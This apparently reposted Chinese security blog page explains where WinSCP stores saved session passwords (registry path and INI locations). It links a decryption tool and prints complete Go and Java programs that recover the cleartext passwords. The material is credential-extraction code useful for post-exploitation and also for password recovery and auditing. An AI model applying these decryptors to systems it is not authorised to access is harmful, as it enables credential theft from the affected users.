 
WINSCP默认保存用户密码在注册表中的如下位置
| 1 | HKEY_USERS/SID/Software/Martin Prikryl/WinSCP 2/Sessions/ | 
但是WIN7/8下WinSCP默认路径在:
| 1 2 3 4 | C:/Users/USERNAME/AppData/Local/VirtualStore/Program Files (x86)/WinSCP/WinSCP.ini (64位操作系统) C:/Program Files (x86)/WinSCP/WinSCP.ini (64位操作系统) C:/Users/USERNAME/AppData/Local/VirtualStore/Program Files/WinSCP/WinSCP.ini (32位操作系统) - 专注网络安全2 p% t+ /* j$ r- a C:/Program Files/WinSCP/WinSCP.ini (32位操作系统) | 
记忆中最早的就是这个
https://bitbucket.org/knarf/winscppwd/overview/ s, u+ I+ P0 n3 m: [
有源码提供下载,还有编译好的程序可供下载使用
https://bitbucket.org/knarf/winscppwd/downloads/winscppwd.exe

| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | package main import (     “fmt”     “os”     “runtime”     “strconv” ) const (     PW_MAGIC = 0xA3     PW_FLAG  = 0xFF ) func main() {     args := os.Args[1:]     if len(args) != 3 {         fmt.Println(“WinSCP stored password finder”)         fmt.Println(“Open regedit and navigate to [HKEY_CURRENT_USER//Software//Martin Prikryl//WinSCP 2//Sessions] to get the hostname, username and encrypted password/n”)         if runtime.GOOS == “windows” {             fmt.Println(“Usage winscppasswd.exe <host> <username> <encrypted_password>”)         } else {             fmt.Printf(“Usage ./winscppasswd <host> <username> <encrypted_password>”)         }         return     }     fmt.Println(decrypt(args[0], args[1], args[2])) } func decrypt(host, username, password string) string {     key := username + host     passbytes := []byte{}     for i := 0; i < len(password); i++ {         val, _ := strconv.ParseInt(string(password[i]), 16, 8)         passbytes = append(passbytes, byte(val))     }     var flag byte     flag, passbytes = dec_next_char(passbytes)     var length byte = 0     if flag == PW_FLAG {         _, passbytes = dec_next_char(passbytes)         length, passbytes = dec_next_char(passbytes)     } else {         length = flag     }     toBeDeleted, passbytes := dec_next_char(passbytes)     passbytes = passbytes[toBeDeleted*2:]     clearpass := “”     var (         i   byte         val byte     )     for i = 0; i < length; i++ {         val, passbytes = dec_next_char(passbytes)         clearpass += string(val)     }     if flag == PW_FLAG {         clearpass = clearpass[len(key):]     }     return clearpass } func dec_next_char(passbytes []byte) (byte, []byte) {     if len(passbytes) <= 0 {         return 0, passbytes     }     a := passbytes[0]     b := passbytes[1]     passbytes = passbytes[2:]     return ^(((a << 4) + b) ^ PW_MAGIC) & 0xff, passbytes } | 
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 | import java.util.ArrayList; import java.util.List; /**  * Created by Yuri Meiburg on 30-4-2015.  */ public class Main {     /**      * ./core/Security.h:#define PWALG_SIMPLE_FLAG 0xFF      */     public static final int PWALG_SIMPLE_FLAG = 0xFF;     /**      * ./core/Security.h:#define PWALG_SIMPLE_MAGIC 0xA3      */     public static final char PWALG_SIMPLE_MAGIC = 0xA3;     public static List<Character> fPassword = new ArrayList<Character>();     public static String hostname, username;     public static void main(String [] args){         if (args.length != 3) {             System.exit(0);         }         hostname = args[0];         username = args[1];         for( int i=0; i< args[2].length(); ++i){             fPassword.add((char) Integer.parseInt(“”+args[2].charAt(i),16));         }         System.out.println(“username = “ + username);         System.out.println(“hostname = “ + hostname);         System.out.println(“getPassword() = “ + getPassword());     }     /**      * UnicodeString __fastcall TSessionData::GetPassword() const      {      return DecryptPassword(FPassword, UserName+HostName);      }      */     static String getPassword(){         return decryptPassword(fPassword, username + hostname);     }     /**      * UnicodeString DecryptPassword(RawByteString Password, UnicodeString UnicodeKey, Integer)      * {      *    UTF8String Key = UnicodeKey;      *    UTF8String Result(“”);      *    Integer Index;      *    unsigned char Length, Flag;      *      *    Flag = simpleDecryptNextChar(Password);      *    if (Flag == PWALG_SIMPLE_FLAG)      *    {      *      simpleDecryptNextChar(Password);      *      Length = simpleDecryptNextChar(Password);      *    }      *    else Length = Flag;      *    Password.Delete(1, ((Integer)simpleDecryptNextChar(Password))*2);      *    for (Index = 0; Index < Length; Index++)      *        Result += (char)simpleDecryptNextChar(Password);      *    if (Flag == PWALG_SIMPLE_FLAG)      *    {      *        if (Result.SubString(1, Key.Length()) != Key) Result = “”;      *        else Result.Delete(1, Key.Length());      *    }      *    return UnicodeString(Result);      *}      */     static String decryptPassword(List<Character> password, String unicodeKey){         System.out.println(“unicodeKey = “ + unicodeKey);         String key = unicodeKey;         String result = “”;         char length, flag;         flag = simpleDecryptNextChar(password);         System.out.println(“flag = “ + (int) flag);         if(flag == PWALG_SIMPLE_FLAG){             /* Dummy = */ simpleDecryptNextChar(password);             length = simpleDecryptNextChar(password);         }         else length = flag;         System.out.println(“length = “ + (int) length);         int newStart = ((int)simpleDecryptNextChar(password)*2);         System.out.println(“newStart = “ + newStart + “, password.size() = “ + password.size());         removeItems(password, 0, newStart);         for(int index=0; index < length; ++index)             result += simpleDecryptNextChar(password);         System.out.println(“result = “ + result);         if(flag == PWALG_SIMPLE_FLAG)         {             if (!result.substring(0, key.length()).equals(key)) result = “”;             else result = result.substring(key.length());         }         return result;     }     /**      * unsigned char simpleDecryptNextChar(RawByteString &Str)      {      if (Str.Length() > 0)      {      unsigned char Result = (unsigned char)      ~((((PWALG_SIMPLE_STRING.Pos(Str.c_str()[0])-1) << 4) +      ((PWALG_SIMPLE_STRING.Pos(Str.c_str()[1])-1) << 0)) ^ PWALG_SIMPLE_MAGIC);      Str.Delete(1, 2);      return Result;      }      else return 0×00;      }      * @param str      * @return      */     static public char simpleDecryptNextChar(List<Character> str){         if(str.size() > 0){             char result = unsignedChar(                         ~(                             (                                     unsignedChar(str.get(0) << 4) + str.get(1) // Remove bitshift overflow bits.                             ) ^ PWALG_SIMPLE_MAGIC                         )                     );             removeItems(str, 0, 2);             return result;         }         else return 0×00;     }     /**      * Cut off anything over 255.      * @param v      * @return      */     static char unsignedChar(int v){         return (char) (v & 0xFF);     }     /**      * Remove items from list      */     static void removeItems(List lst, int start, int end){         for(int i=0; i<end-start; ++i){             lst.remove(start);         }     } } | 
  
 [via@0cx.cc]
	
	  
  
    
    
 Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
	
     
	  
   
      地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
	  
    邮箱:service@hongdaqianqiu.com
	
	
	
		备案号:粤ICP备15078875号